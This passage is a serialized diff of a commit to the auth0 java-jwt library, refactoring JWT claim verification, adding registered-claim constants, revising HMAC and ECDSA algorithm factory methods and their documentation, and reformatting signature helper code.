-            throw new AlgorithmMismatchException("The provided Algorithm doesn't match the one defined in the JWT's Header.");
-        }
-    }
-
-    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims) throws TokenExpiredException, InvalidClaimException {
-        for (Map.Entry<String, Object> entry : claims.entrySet()) {
-            if (entry.getValue() instanceof NonEmptyClaim) {
-                assertClaimPresent(jwt.getClaim(entry.getKey()), entry.getKey());
-            } else {
-                verifyClaimValues(jwt, entry);
-            }
-        }
-    }
-
-    private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
-        switch (expectedClaim.getKey()) {
-            // We use custom keys for audience in the expected claims to differentiate between validating that the audience
-            // contains all expected values, or validating that the audience contains at least one of the expected values.
-            case AUDIENCE_EXACT:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), true);
-                break;
-            case AUDIENCE_CONTAINS:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.EXPIRES_AT:
-                assertValidDateClaim(jwt.getExpiresAt(), (Long) expectedClaim.getValue(), true);
-                break;
-            case PublicClaims.ISSUED_AT:
-                assertValidDateClaim(jwt.getIssuedAt(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.NOT_BEFORE:
-                assertValidDateClaim(jwt.getNotBefore(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.ISSUER:
-                assertValidIssuerClaim(jwt.getIssuer(), (List<String>) expectedClaim.getValue());
-                break;
-            case PublicClaims.JWT_ID:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getId(), (String) expectedClaim.getValue());
-                break;
-            case PublicClaims.SUBJECT:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getSubject(), (String) expectedClaim.getValue());
-                break;
-            default:
-                assertValidClaim(jwt.getClaim(expectedClaim.getKey()), expectedClaim.getKey(), expectedClaim.getValue());
-                break;
+            throw new AlgorithmMismatchException(
+                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
         }
     }
 
-    private void assertClaimPresent(Claim claim, String claimName) {
-        if (claim instanceof NullClaim) {
-            throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", claimName));
-        }
-    }
-
-    private void assertValidClaim(Claim claim, String claimName, Object value) {
-        boolean isValid = false;
-        if (value instanceof String) {
-            isValid = value.equals(claim.asString());
-        } else if (value instanceof Integer) {
-            isValid = value.equals(claim.asInt());
-        } else if (value instanceof Long) {
-            isValid = value.equals(claim.asLong());
-        } else if (value instanceof Boolean) {
-            isValid = value.equals(claim.asBoolean());
-        } else if (value instanceof Double) {
-            isValid = value.equals(claim.asDouble());
-        } else if (value instanceof Date) {
-            isValid = value.equals(claim.asDate());
-        } else if (value instanceof Object[]) {
-            List<Object> claimArr;
-            Object[] claimAsObject = claim.as(Object[].class);
-
-            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
-            if (value instanceof Long[]) {
-                // convert Integers to Longs for comparison with equals
-                claimArr = new ArrayList<>(claimAsObject.length);
-                for (Object cao : claimAsObject) {
-                    if (cao instanceof Integer) {
-                        claimArr.add(((Integer) cao).longValue());
-                    } else {
-                        claimArr.add(cao);
-                    }
-                }
-            } else {
-                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
-            }
-            List<Object> valueArr = Arrays.asList((Object[]) value);
-            isValid = claimArr.containsAll(valueArr);
-        }
-
-        if (!isValid) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidStringClaim(String claimName, String value, String expectedValue) {
-        if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidDateClaim(Date date, long leeway, boolean shouldBeFuture) {
-        Date today = new Date(clock.getToday().getTime());
-        today.setTime(today.getTime() / 1000 * 1000); // truncate millis
-        if (shouldBeFuture) {
-            assertDateIsFuture(date, leeway, today);
-        } else {
-            assertDateIsPast(date, leeway, today);
-        }
-    }
-
-    private void assertDateIsFuture(Date date, long leeway, Date today) {
-        today.setTime(today.getTime() - leeway * 1000);
-        if (date != null && today.after(date)) {
-            throw new TokenExpiredException(String.format("The Token has expired on %s.", date));
-        }
-    }
-
-    private void assertDateIsPast(Date date, long leeway, Date today) {
-        today.setTime(today.getTime() + leeway * 1000);
-        if (date != null && today.before(date)) {
-            throw new InvalidClaimException(String.format("The Token can't be used before %s.", date));
-        }
-    }
-
-    private void assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
-        if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
-                (!shouldContainAll && Collections.disjoint(audience, values))) {
-            throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
-        }
-    }
-
-    private void assertValidIssuerClaim(String issuer, List<String> value) {
-        if (issuer == null || !value.contains(issuer)) {
-            throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
-        }
-    }
-
-    /**
-     * Simple singleton used to mark that a claim should only be verified for presence.
-     */
-    private static class NonEmptyClaim {
-        private static NonEmptyClaim nonEmptyClaim;
-
-        private NonEmptyClaim() {}
-
-        public static NonEmptyClaim getInstance() {
-            if (nonEmptyClaim == null) {
-                nonEmptyClaim = new NonEmptyClaim();
+    private void verifyClaims(DecodedJWT jwt, List<ExpectedCheckHolder> expectedChecks)
+            throws TokenExpiredException, InvalidClaimException {
+        for (ExpectedCheckHolder expectedCheck : expectedChecks) {
+            boolean isValid;
+            String claimName = expectedCheck.getClaimName();
+            Claim claim = jwt.getClaim(claimName);
+
+            isValid = expectedCheck.verify(claim, jwt);
+
+            if (!isValid) {
+                throw new IncorrectClaimException(
+                        String.format("The Claim '%s' value doesn't match the required one.", claimName),
+                        claimName,
+                        claim
+                );
             }
-            return nonEmptyClaim;
         }
     }
 }u}(jG  (8c47eb51b2c01d309aaa21a2dfb265d86d3409b0j  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javaj  addedj  K7j  K j  K7j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -0,0 +1,55 @@
+package com.auth0.jwt;
+
+/**
+ * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1 of
+ * <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1">RFC 7529</a>
+ */
+public final class RegisteredClaims {
+
+    private RegisteredClaims() {
+    }
+
+    /**
+     * The "iss" (issuer) claim identifies the principal that issued the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1">Section 4.1.1</a>
+     */
+    public static String ISSUER = "iss";
+
+    /**
+     * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2">Section 4.1.2</a>
+     */
+    public static String SUBJECT = "sub";
+
+    /**
+     * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3">Section 4.1.3</a>
+     */
+    public static String AUDIENCE = "aud";
+
+    /**
+     * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
+     * accepted for processing.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.4">Section 4.1.4</a>
+     */
+    public static String EXPIRES_AT = "exp";
+
+    /**
+     * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5">Section 4.1.5</a>
+     */
+    public static String NOT_BEFORE = "nbf";
+
+    /**
+     * The "iat" (issued at) claim identifies the time at which the JWT was issued.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.6">Section 4.1.6</a>
+     */
+    public static String ISSUED_AT = "iat";
+
+    /**
+     * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.7">Section 4.1.7</a>
+     */
+    public static String JWT_ID = "jti";
+
+}u}(jG  (0a76028b12002eccfc34165e5c7b3e33dbfaa01cj  /lib/src/main/java/com/auth0/jwt/TokenUtils.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -18,7 +18,8 @@ static String[] splitToken(String token) throws JWTDecodeException {
             parts = new String[]{parts[0], parts[1], ""};
         }
         if (parts.length != 3) {
-            throw new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", parts.length));
+            throw new JWTDecodeException(
+                    String.format("The token was expected to have 3 parts, but got %s.", parts.length));
         }
         return parts;
     }u}(jG  (27d799094d0c94e0cae342ae0aa3031a4e2b9042j  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaj  modifiedj  K,j  KFj  Krj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XT9  @@ -48,9 +48,7 @@ public static Algorithm RSA256(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
-     * @deprecated use {@link #RSA256(RSAPublicKey, RSAPrivateKey)} or {@link #RSA256(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA256(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -86,9 +84,7 @@ public static Algorithm RSA384(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #RSA384(RSAPublicKey, RSAPrivateKey)} or {@link #RSA384(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA384(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -124,9 +120,7 @@ public static Algorithm RSA512(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #RSA512(RSAPublicKey, RSAPrivateKey)} or {@link #RSA512(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA512(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -136,40 +130,22 @@ public static Algorithm RSA512(RSAKey key) throws IllegalArgumentException {
     /**
      * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
-     * @param secret the secret to use in the verify or signing instance.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 256 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC256 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
     public static Algorithm HMAC256(String secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS256", "HmacSHA256", secret);
     }
 
-    /**
-     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
-     *
-     * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC384 Algorithm.
-     * @throws IllegalArgumentException if the provided Secret is null.
-     */
-    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
-    }
-
-    /**
-     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
-     *
-     * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC512 Algorithm.
-     * @throws IllegalArgumentException if the provided Secret is null.
-     */
-    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
-    }
-
     /**
      * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 256 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC256 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -178,59 +154,57 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
     }
 
     /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
-     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the Key Provider is null.
-     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
-     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
-     * This method will be removed in the next major version. See for additional information
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 384 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
+     * @return a valid HMAC384 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
      */
-    @Deprecated
-    public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
-        return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
+    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
     /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
-     * @param publicKey  the key to use in the verify instance.
-     * @param privateKey the key to use in the signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
-     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
-     * This method will be removed in the next major version. See for additional information
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 384 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
+     * @return a valid HMAC384 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
      */
-    @Deprecated
-    public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
-        return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
+    public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
+     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
-     * @return a valid HMAC384 Algorithm.
+     *               Ensure the length of the secret is at least 512 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
+     * @return a valid HMAC512 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
+    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
 
     /**
      * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 512 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC512 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
     public static Algorithm HMAC512(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
-    
-    
+
 
     /**
      * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
@@ -261,9 +235,7 @@ public static Algorithm ECDSA256(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA256(ECPublicKey, ECPrivateKey)} or {@link #ECDSA256(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA256(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -299,9 +271,7 @@ public static Algorithm ECDSA384(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA384(ECPublicKey, ECPrivateKey)} or {@link #ECDSA384(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA384(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -337,9 +307,7 @@ public static Algorithm ECDSA512(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA512(ECPublicKey, ECPrivateKey)} or {@link #ECDSA512(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA512(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -357,7 +325,8 @@ protected Algorithm(String name, String description) {
     }
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This is usually specified as the `kid` claim in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This is usually specified as the `kid` claim in the Header.
      *
      * @return the Key Id that identifies the Signing Key or null if it's not specified.
      */
@@ -375,7 +344,8 @@ public String getName() {
     }
 
     /**
-     * Getter for the description of this Algorithm, required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
+     * Getter for the description of this Algorithm,
+     * required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
      *
      * @return the algorithm description.
      */
@@ -392,15 +362,19 @@ public String toString() {
      * Verify the given token using this Algorithm instance.
      *
      * @param jwt the already decoded JWT that it's going to be verified.
-     * @throws SignatureVerificationException if the Token's Signature is invalid, meaning that it doesn't match the signatureBytes, or if the Key is invalid.
+     * @throws SignatureVerificationException if the Token's Signature is invalid,
+     *                                        meaning that it doesn't match the signatureBytes,
+     *                                        or if the Key is invalid.
      */
     public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
 
     /**
      * Sign the given content using this Algorithm instance.
      *
-     * @param headerBytes  an array of bytes representing the base64 encoded header content to be verified against the signature.
-     * @param payloadBytes an array of bytes representing the base64 encoded payload content to be verified against the signature.
+     * @param headerBytes  an array of bytes representing the base64 encoded header content
+     *                     to be verified against the signature.
+     * @param payloadBytes an array of bytes representing the base64 encoded payload content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */
@@ -417,14 +391,14 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
 
     /**
      * Sign the given content using this Algorithm instance.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
+     * @param contentBytes an array of bytes representing the base64 encoded content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
-     * @deprecated Please use the {@linkplain #sign(byte[], byte[])} method instead.
      */
 
-    @Deprecated
     public abstract byte[] sign(byte[] contentBytes) throws SignatureGenerationException;
 
 }u}(jG  (7b8c5c2ac5761bbf25b86fa55870a38d67cc0a03j  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javaj  modifiedj  Kfj  Kij  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X;  @@ -12,93 +12,98 @@
  */
 class CryptoHelper {
 
-    private static final byte JWT_PART_SEPARATOR = (byte)46;
+    private static final byte JWT_PART_SEPARATOR = (byte) 46;
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, String header, String payload, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return verifySignatureFor(algorithm, secretBytes, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return verifySignatureFor(algorithm, secretBytes,
+                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes), signatureBytes);
-    }
-
-    /**
-     * Create signature for JWT header and payload.
-     *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        final Mac mac = Mac.getInstance(algorithm);
-        mac.init(new SecretKeySpec(secretBytes, algorithm));
-        mac.update(headerBytes);
-        mac.update(JWT_PART_SEPARATOR);
-        return mac.doFinal(payloadBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes),
+                signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      algorithm public key.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, String header, String payload, byte[] signatureBytes)  throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload using a public key.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey the public key to use for verification.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      the public key to use for verification.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initVerify(publicKey);
         s.update(headerBytes);
@@ -110,17 +115,22 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerB
     /**
      * Create signature for JWT header and payload using a private key.
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
-     * @param headerBytes JWT header.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
+     * @param headerBytes  JWT header.
      * @param payloadBytes JWT payload.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
